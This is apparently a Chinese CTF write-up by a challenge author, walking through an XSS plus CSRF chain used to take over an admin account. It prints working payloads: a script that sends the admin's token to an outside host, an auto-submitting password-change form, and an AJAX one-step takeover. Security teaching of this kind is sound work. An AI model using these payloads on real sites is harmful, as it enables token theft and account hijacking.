前端题目怎么就成了一个 sql 注入的题
作为 web 前端安全小组的出题人，这次出题就出了前端方面非常具有代表性两个知识点。前端安全有两个常见的大头鬼：XSS 和 CSRF，于是就顺其自然把他们结合在一起出了个题。
这次的话老大给的时间也比较仓促，就给了 1 天时间来构思+搭建比赛题目，时间比较紧张，所以就出现了一些非预期。像 sql 注入（傍晚的时候加固了），admin 弱口令等等。用了这些非预期以后整个题目就变得太简单没啥意思了。也欢迎大家说说自己发现的非预期，交流交流，在以后的开发中可以避免这些问题。
回到正题，先简单说下整体思路。用 XSS 拿到 token，CSRF 修改 admin 密码，登录 admin 账号拿到 key。正规解法就是这样。不了解 CSRF 和 token 的可以看下这篇文章
下面是复现过程：
题目是 XSS，拿到整个页面，我们看到有个评论区。普通用户可以看到自己发的评论，admin 可以看到所有人发的评论，评论区可以打 XSS，这边的话时间仓促，什么过滤防御措施都没做，直接就可以打。要是有时间的话我还可以做一些 XSS waf 这些过滤，也可以设置一个 CSP 绕过使题目难度加大。原本我们直接 CSRF 就可以了，但这网站有 token 保护，所以我们先要拿到 admin 的 token。拿 token 的 payload 如下：
<script>
var a=document.createElement('img');
a.src='http://xxx/t.php?token='+$('token').text();
$('body').append(a);
</script>当 admin 访问评论区，上面的 payload 就会被自动运行，admin 的 token 会被发送到我们的 XSS 平台或者自己的公网 vps 上。
拿到 admin 的 token 后我们可以通过修改密码的功能去修改 admin 的密码。因为修改密码不需要输入原密码，所以我们只要以 admin 的名义发出修改密码这个请求即可。构造第二个 payload 页面 t.html
<form action="http://nizhidaoqianduanyoushama.xazlsec.com/api/changePass.php"method="post">
<input type="text"name="do"value="changePass">
<input type="text"name="newPass"value="newPass">
<input type="text"name="confirm"value="newPass">
<input type="text"name="token"value="e2df6ef5e9e113f41d657c514cd2b5d4">
</form>
<script>
window.onload=function() {
document.forms[0].submit();
}
</script>然后在评论区发送一条评论等着后台 admin 模拟点击中招：
<a href="http://xxx/t.html">666</a>admin 如果访问了这个 html 那么 admin 的密码就会被改为newPass，然后我们用 admin+newPass 直接登录，在评论区直接看到 key
上面的方式是最常规的 XSS+CSRF 套路了，分了两步：拿 token 和改 admin 密码。刚刚我想到一种很简单的 payload，token 都不用拿到，带上 token 改密码一步完成。注意，评论区有 255 个字符数限制，可以用外联 js 绕过
<script>
var token=$('token').text();
$.ajax({
url:'http://nizhidaoqianduanyoushama.xazlsec.com/api/changePass.php',
type:'POST',
data:{
'do':'changePass',
'newPass':'newPass',
'confirm':'newPass',
'token':token
}
})
</script>最后，题目做完了，如果你还有其他的解题思路也可以在文章下面留言分享。另外，题目还有几个点值得我们思考。单独的两个漏洞分开来利用可能没多大的危害，但组合在一起的危害不容小觑。就像这题，如果页面中不存在 XSS，单纯的 CSRF 攻击在 token 的防护下根本无法开展。问题就出在这个页面存在 XSS，XSS+CSRF 一套组合拳直接拿下网站的最高权限，可见前端安全也不容小视。另外就是几个老生常谈的问题，sql 注入、弱口令等等，都是我们在代码开发、代码审计中需要注意的点。